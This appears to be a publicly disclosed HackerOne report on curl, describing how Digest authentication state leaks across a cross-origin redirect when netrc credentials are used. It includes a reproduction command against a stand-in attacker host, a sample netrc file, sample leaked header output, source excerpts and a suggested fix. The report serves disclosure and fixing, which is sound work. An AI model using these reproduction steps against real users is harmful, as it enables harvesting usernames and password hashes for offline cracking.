HexBrain

curl · Report #3680038

Digest Auth State Leak on Cross-Origin Redirect via Netrc - Username and Password Hash Sent to Wrong Host

Informativestatus
mediumseverity
17upvotes
19 Apr 2026disclosed

How it was found

Summary

When curl follows an HTTP redirect from hostA to hostB using --netrc --digest -L, Digest authentication state (nonce, realm) from hostA persists and is combined with hostB's netrc credentials to generate an unsolicited Digest Authorization header sent to hostB. This leaks hostB's username in cleartext and a password hash computed under the attacker's chosen nonce, enabling offline password cracking. The root cause is that Digest state is never cleared on redirect, authhost->picked persists as CURLAUTH_DIGEST, and conn->bits.netrc bypasses Curl_auth_allowed_to_host(). This is a variant of CVE-2022-27774 not covered by that fix - NTLM is correctly cleared on new connections (url.c:3373-3378) but Digest is not.

Affected version

curl 8.20.0-DEV (x86_64-pc-linux-gnu)
Release-Date: [unreleased]
Protocols: dict file ftp ftps gopher gophers http https imap imaps ...
Features: alt-svc AsynchDNS brotli GSS-API HSTS HTTP2 HTTP3 ...

Tested on current master (commit rc-8_20_0-2), Linux x86_64. Likely affects all versions with --netrc + --digest + redirect support.

Steps To Reproduce

  1. Save PoC script as poc_digest_leak_crossorigin.py and run it: python3 poc_digest_leak_crossorigin.py

The script starts two HTTP servers (hostA on port 8011, hostB on port 8012), creates a temporary netrc file with credentials for both hosts, and runs curl with --resolve to simulate distinct hostnames:

curl --resolve hosta.evil.com:8011:127.0.0.1 \
     --resolve hostb.corp.com:8012:127.0.0.1 \
     --netrc-file /tmp/test_netrc \
     --digest -L \
     http://hosta.evil.com:8011/login

Netrc file:

machine hosta.evil.com
  login evil_user
  password evil_pass

machine hostb.corp.com
  login corporate_admin
  password S3cretP@ssw0rd!
  1. Observe the output - hostB receives an unsolicited Digest Authorization header:
[hostA.evil.com] 401 Digest challenge sent
[hostA.evil.com] Authenticated, redirecting to hostB

VULNERABILITY CONFIRMED: Cross-origin credential leak
hostB.corp.com received unsolicited Digest auth:
  Digest username="corporate_admin", realm="evil-realm",
    nonce="attacker_controlled_nonce_abc", uri="/secret",
    cnonce="b09d5KnvEUHWam89", nc=00000002, qop=auth,
    response="6e9f04d34189538559a22613f1fe4082"

  LEAKED: hostB username = corporate_admin
  STALE:  realm from hostA = evil-realm
  STALE:  nonce from hostA = attacker_controlled_nonce_abc
  IMPACT: response hash = MD5(hostB_pass : attacker_nonce : ...)
  1. Run the hash verification PoC to confirm offline cracking: python3 poc_verify_hash.py

This proves that knowing the attacker-chosen nonce + leaked hash is sufficient to brute-force the victim's password offline.

Root cause (three interacting issues)

1. Digest state never cleared on redirect - data->state.digest (nonce, realm, cnonce) is only cleaned in Curl_close() and curl_easy_reset(), never during redirect handling.

2. authhost->picked persists - Set to CURLAUTH_DIGEST during hostA's 401 challenge, never reset on redirect. NTLM is correctly cleared at url.c:3373-3378, but Digest is not.

3. conn->bits.netrc bypasses auth check - At http.c:842-844:

if(Curl_auth_allowed_to_host(data)
   || conn->bits.netrc)  // bypasses cross-origin check
  result = output_auth_headers(...);

Additional information

This is a variant of CVE-2022-27774 (credential leak on redirect). The fix for that CVE added Curl_auth_allowed_to_host(), but the conn->bits.netrc exemption at http.c:842 bypasses it for stateful auth methods. NTLM state is correctly cleared on new connections (url.c:3373-3378) but Digest state is not - this asymmetry indicates an oversight.

Suggested fix: Clear Digest state on cross-origin redirect:

// In redirect handling, after host change detected:
if(!Curl_url_same_origin(base, href)) {
  Curl_auth_digest_cleanup(&data->state.digest);
  data->state.authhost.picked = CURLAUTH_NONE;
}

Impact

An attacker who controls hostA can redirect a curl user to hostB and obtain: (1) hostB's username in cleartext from the unsolicited Digest header, and (2) a Digest response hash computed with the attacker's chosen nonce, enabling offline password cracking if the attacker can observe the request to hostB. This bypasses the credential leak protections added for CVE-2022-27774.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original